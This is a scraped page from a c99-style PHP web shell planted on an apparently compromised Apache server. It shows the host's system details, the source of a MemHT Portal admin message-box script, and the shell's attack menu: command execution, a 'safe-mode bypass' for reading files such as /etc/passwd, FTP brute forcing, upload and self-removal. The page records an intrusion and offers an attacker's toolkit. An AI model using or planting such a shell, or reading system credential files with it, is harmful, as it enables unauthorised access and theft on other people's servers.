!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/admin/pages/messagebox/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (5.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/

if (!defined("_LOAD_PAGE_")) {
    die(
"<table style='padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;' align='center'><tr><td><b>Error:</b> This file cannot be opened directly!</td></tr></table>");
}

if (isSet(
$_GET['op'])) { $op inCode($_GET['op']); } else { $op ""; }
if (isSet(
$_GET['id'])) { $id inCode($_GET['id']); } else { $id ""; }
if (isSet(
$_GET['ok'])) { $ok inCode($_GET['ok']); } else { $ok false; }

if (isSet(
$_GET['pg'])) { $pg inCode($_GET['pg']); } else { $pg 1; }
$ofsppg 20//Items per page
$ofsbgn = ($pg*$ofsppg)-$ofsppg;

function 
mexList($ofsbgn,$ofsppg,$pg) {
    global 
$dblink,$siteConfig;

    
$n 0;
    echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
    echo 
"<thead>\n";
    echo 
"<tr><td width='15%'>"._AUTHOR_."</td><td width='15%'>"._DATE_."</td><td>"._TEXT_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
    if (
$result $dblink->get_list("SELECT m.*,DATE_FORMAT(m.data, '".$siteConfig['timestamp']."') as data,u.id AS uid FROM memht_messagebox AS m JOIN memht_utenti AS u ON m.autore=u.user ORDER BY m.id DESC LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$m_id intval($row['id']);
            
$uid intval($row['uid']);
            
$m_autore outCode($row['autore']);
            
$m_data $row['data'];
            
$m_testo censure(bb2html(outCode($row['testo'])));
            
$m_ip outCode($row['ip']);
            
$m_guest intval($row['guest']);
            
            if (
$m_guest==0) {
                
$m_autore "<a href='index.php?page=users&op=userInfo&uid=$uid' title='$m_autore'>$m_autore</a>";
            }
    
            
$info " <a href='admin.php?page=security&op=findip&ok=true&ip=$m_ip' title='Whois $m_ip' target='_blank'><img src='images/ip.gif' alt='Ip' border='0'></a>";
            
$info .= " <a href='admin.php?page=messagebox&op=deleteMessage&id=$m_id' title='"._DELETE_."'><img src='images/delete.gif' title='"._DELETE_."' alt='Delete' border='0'></a>";
                
            
$class = (($n++%2)!=0) ? "hlight" "clean" ;
            echo 
"<tr><td class='$class' valign='top'><b>$m_autore</b></td><td class='$class' valign='top'>$m_data</td><td class='$class'>$m_testo</td><td class='$class' nowrap>$info</td></tr>\n";
        }
    } else {
        echo 
"<tr><td align='center' id='errorText' colspan='4' class='clean'><b>"._EMPTY_."</b></td></tr>";
    }
    
    echo 
"</tbody>\n";
    echo 
"</table>";
    
    
//Pages
    
include_once("inc/class/paginationSystem.class.php");
    
$ps = new paginationSystem();
    
$ps->items $ofsppg;
    
$ps->actpg $pg;
    
$ps->query "SELECT id FROM memht_messagebox";
    
$ps->url "admin.php?page=messagebox&op=showMessages&pg={{N}}";
    
$ps->show();
}

function 
delete($id,$ok=false) {
    global 
$dblink;
    
    if (
$ok) {
        
adminLog("[page:MessageBox][op:delete()][id:$id][query:".getenv('QUERY_STRING')."][END]");
        
$dblink->query("DELETE FROM memht_messagebox WHERE id='$id'");
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=messagebox'>";        
    } else {
        echo 
"<div align='center'><b>"._SUREDELETEMESSAGE_."</b><br><a href='admin.php?page=messagebox&op=deleteMessage&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=messagebox' title='"._NO_."'>"._NO_."</a></div>";
    }
}

function 
deleteAll($ok=false) {
    global 
$dblink;
    
    if (
$ok) {
        
adminLog("[page:MessageBox][op:deleteAll()][query:".getenv('QUERY_STRING')."][END]");
        
$dblink->query("DELETE FROM memht_messagebox");
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=messagebox'>";        
    } else {
        echo 
"<div align='center'><b>"._SURERESETMESSAGES_."</b><br><a href='admin.php?page=messagebox&op=reset&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=messagebox' title='"._NO_."'>"._NO_."</a></div>";
    }
}

require_once(
"admin/inc/inc_header.php");
    
admin_page_title($page);
                            
    
openTable();
        echo 
"<div align='center' class='box'>";
            echo 
"<a href='admin.php?page=messagebox' title='"._MESSAGES_."'><img src='admin/icons/messagebox.png' border='0' title='"._MESSAGES_."' align='top'> "._MESSAGES_."</a>";
            echo 
" - <a href='admin.php?page=messagebox&op=reset' title='"._RESET_."'><img src='admin/icons/attention.png' border='0' title='"._RESET_."' align='top'> "._RESET_."</a>";
        echo 
"</div>";
    
closeTable();
    
    
openTable();
    
        switch(
$op) {
            case 
"deleteMessage":
                
delete($id,$ok);
            break;
            
            case 
"reset":
                
deleteAll($ok);
            break;
        
            case 
"showMessages":
                
mexList($ofsbgn,$ofsppg,$pg);
            break;
        
            default:
                
mexList($ofsbgn,$ofsppg,$pg);
            break;
        }
    
    
closeTable();
require_once(
"admin/inc/inc_footer.php");
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0221 ]--